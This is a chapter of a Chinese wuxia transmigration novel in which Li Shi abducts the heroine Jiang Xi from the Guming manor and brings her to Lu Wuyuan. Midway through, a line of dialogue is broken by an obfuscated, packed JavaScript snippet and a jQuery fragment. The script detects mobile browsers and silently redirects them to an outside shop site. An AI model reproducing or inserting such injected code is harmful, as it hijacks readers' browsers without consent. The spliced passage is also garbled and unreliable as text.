袁茹宽慰地轻抚蒋汐手背,“你们在韩池垣象苑一事,我听说了。”
“八年前圣上登基后,举国有过一场风气的整顿。吴寒正是在韩池垣象苑密室找到的那些画像。姑娘看过了,上面的人很像你。不过,我听说,那儿的原主,早就不知所踪。”
“但是,正如檀鬃香的来历,说不定,那些人跟朝廷有关,甚至,不止是几品小官。”
蒋汐顿了顿,“夫人对我的身份有猜测了,是吗?”
袁茹看着她,蒋汐眼里透出期望,“还请夫人明示。”
“我......我心中那个答案,不知道对姑娘而言是好事,还是坏事。若你没有从前的记忆,却要面对从前的人和事,袁茹不知,这样是好还是坏。”
女子一番诚恳之言触动了蒋汐。
袁茹并没有因为她接近那个答案,而着急地要让她拥有那个名字;反而站在她的角度,考虑她是否会因此改变既有的生活状态。
蒋汐俯身,认真地行礼道谢,“我、也不知道答案是什么。奔波颠沛这么久以来,夫人是第一个在乎失忆后的我、现在的我的人。夫人善意,蒋汐铭记于心。”
袁茹搀起她,“我亦没有十成的把握,但,倘使姑娘想,袁茹可托吴寒送姑娘去申城地界。车马路途遥远,倘使姑娘有悔,大可直说,吴寒会掉转方向,送姑娘离开。”
申城。
袁茹、袁伍寒的家乡。
也是她小说内容的主场剧情地。
袁茹允她拒绝的机会,这反倒说明了,她可能真的是袁家以为的那个人。
而此路,应当不尽是坦途。
蒋汐长叹一口气。
她最想要的是回家,可这实现不了。除此之外,找到原主身份、走主线、接近男女主,都只是她想好好地、平安地活着。
迄今为止,生死之外,作者蒋汐在这个未完成小说里最想做的事情,的确只有救下路无渊的命。
她不能杀人。
哪怕这件事本身很荒诞。两个世界居然存在联系,而她是创造一个世界、决定一些人生死的关键。
她不想、也不愿当任何人任何事的判官。
她的道德和良知不可能任由那个既定剧情的发生。
路无渊不能死。
他不该死。
“快!抓住他,快,保护夫人!”
一道黑影快如闪电,沁乐亭弟子列阵迎敌。
脚点树梢的白衣男子毫无压力,轻功越过半空,划出了几道明丽的弧线。
蒋汐下意识把袁茹护在身后,郝亮也护在两名女子身前。
“郝亮,带夫人先离开。”
袁伍寒从天而降。
蒋汐思索片刻,从郝亮身后走出来,声音洪亮:“他就是给我玉佩那个人!”
袁家姐弟闻言一愣,执扇男子潇洒落地,对向沽名弟子时皱了皱眉。
“如今师道中落,你们沽名弟子已经不济到这种程度了么?三才阵法,要你们八人,走四个穴位?”
李实轻佻又讽刺,扇面一开,对向蒋汐,“姑娘,我果然没看错你。不仅能在路无渊身边活到今日,还顺便带我进了沽名。这笔买卖,我可真是赚大了。”
“你胡说!我们之间除了数月前那枚玉佩赠与,再无任何瓜葛。”
蒋汐急红了眼,众目睽睽之下被他如此诬陷,男主他们还能相信她么?
袁茹拉回蒋汐,示意她无妨。
这时,另一道光风霁月的蓝色身影落下。
“依你的身手,回沽名山庄,还需要别人开路么?”
杨卿尘收袖,静静看着李实,丝毫没有戒备之态。
李实冷着脸,并不正眼瞧他,只看向袁伍寒,“我来这里,只为带走一个人。”
李实对上蒋汐的眼神。
“今日哪怕你们一起上,也不是我的对手。”
李实合扇,轻蔑一笑,“若不想输的很难看,便乖乖把人交出来。”
“小实,我不知你为何会在无魔山屈居这么多年,可如今既然回来了,便别再任性。师父一直都希望你能留在沽名。”
李实的脸色瞬间变沉,“沽名?沽名钓誉!好一个沽名山庄!李开炎有什么资格要求我做事?”
“还是说,这武林的明争暗斗,你沽名也想东山再起了?”
“小实,当年之事绝非你以为的那样。”
“究竟怎样还重要么?我娘死了,李开炎也死了,你所谓的那些真相还有用么?”
李实冷哼一声,“我不想再跟你们浪费时间,她,今天我必须带走。”
李实出招,不过半炷香,就把就破了沽名的八人阵法,直往蒋汐去。
袁伍寒迎上,与他交手。
“你为何会有那枚玉佩,又要把蒋汐带去哪里?”
“看来你们知道那玉佩的来历。”
李实勾唇,“当年先皇一旨圣令,划清了江湖和朝堂的界限。申城乃朝廷第一城池,城主袁枭威名远扬。除长女袁意入宫为妃外,袁家其余子女在百姓中从未有名。世人皆以为袁老城主运势不好,难续子嗣,在下却不敢苟同。”
李实盯着袁伍寒笑,手中的招式却丝毫没有减弱,“我还听说,杨卿尘之妻,姓袁名茹,不知少侠以为,这其中是否有些曲折故事?”
攻防之余,袁伍寒有些分心,李实乘胜,接着道,“江湖总有传言,有位银白面具的少年侠客踪迹不定,这些年却做了不少事情。日前,那逐寿山时,在下躲在暗处,也曾见一少侠颊上带有面具。而那人出招的动作,与公子颇有些相似。”
袁伍寒被他搅得心乱,一不小心,就吃招退后,虽没受伤,却让出了通向蒋汐最快的路。
女孩根本来不及挣扎,就这么被李实掳走。
袁伍寒额上泛开汗珠,蒋汐求救的声音在空中飘荡。
李实挑衅的话最后响起:
“小子,你功夫不错,但想要赢我,还得再练几年。”
“咚——”
袁伍寒一拳打在木柱上,深棕色的纹路裂开了几道缝。
“小寒,”杨卿尘拦下他的动作,“别追了。”
“可是蒋汐——”
“若要带那姑娘离开沽名,他只有两条路。”杨卿尘若有所思,“更何况,那姑娘,或许真是我们猜的那个人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213763|151134||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
袁伍寒抬眸,袁茹释然地松口气,默然靠近,拿出伤药,涂在袁伍寒掌间。
*
另一处的山头,太阳适才退入云层之中。
“连沽名山庄你也来过?”
路无渊倚在大树之前,阳光顺着侧边高叶的缝隙落到他眉头,察觉到动静,没有回头,只漠然发问。
这时,蒋汐的哑穴解开,不情愿地扭着身子,“放开、你放开我!”
路无渊循声转身,眼前悠然摇扇的男人一脸看戏地注视他。
“她怎么在这?”路无渊问。
蒋汐朝路无渊嚷,“你快让他放开我。”
李实放轻动作,把人松开,却依旧抓着她的左手腕。
前方是山崖,道路不宽,若稍未留神,容易摔下去。
“有意思。”李实悠悠地笑,“想不到从来冷酷无情、阴险狠毒的路少侠,看这姑娘的眼神,竟少了几分敌意。”
他一副摆谱又自得的神情,像是故意要挑起路无渊的情绪。
可路无渊也有后手。
“沽名山庄首开武林门派之系,历经五代王朝未伤分毫,却在七年前退而淡出江湖。有人传言,这突然的变故与沽名前任庄主李开炎的风流韵事脱不了干系。”
路无渊眼里有一丝挑衅,“凭你的实力,心甘情愿在无魔山稳居五大领主之下,每次抢了任务,又不肯去做,反倒交由我。如今又在沽名来去自如......”
“李实,同样姓李——”
话音未完,李实合扇,迅速朝路无渊下腰攻去,神色变得狠练了。
路无渊岌岌后退,以左手抵住,力道加重,李实侧空翻跳,挣脱了他的束缚。
路无渊垂下左手,西莎曼的毒素让他无力聚气。
李实淡淡一笑,“我还从不知道,你体内有如此毒物。”
他用眼神警告路无渊闭嘴,“孟吉羽回去领罚,孙鸿降他三任,你可得加把劲,不然这三年心血,可就白费了。”
说完,他扔给路无渊一块梓木令,“替你夺到的。为期一个月,过时不候。”
蒋汐这才看懂了二人的交易。
李实在逐寿山茅屋里,就曾抛出梓木令,如今在这山崖之上,又是同样的买卖。
无魔山以任务量为升迁标准,路无渊想往上爬、报复孙鸿,李实不想被人注意,所以他们达成交易。
那么问题出现了,李实为什么要潜在无魔山?
以他跟袁伍寒交手的样子,功夫应当算这武林顶尖的。
他图什么呢?
路无渊收好梓木令,冷笑道,“你带着她,以为还能从这里全身而退么?”
李实拽着蒋汐的手松了松。
“原本我还在纳闷,吴寒以解药之名将我带来,却并不对我的自由设限。你觉得,这更像螳螂捕蝉,还是黄雀与蛇?”
“什么味道?”蒋汐嗅嗅鼻子,突然转头。
不远处天空升起一缕白烟,空气中丝丝烧焦的糊味传来。她的心中涌起一阵不祥的预感,是那场火灾吗!
路无渊眺出冷眼,“看来沽名的不速之客,不止你一个了。”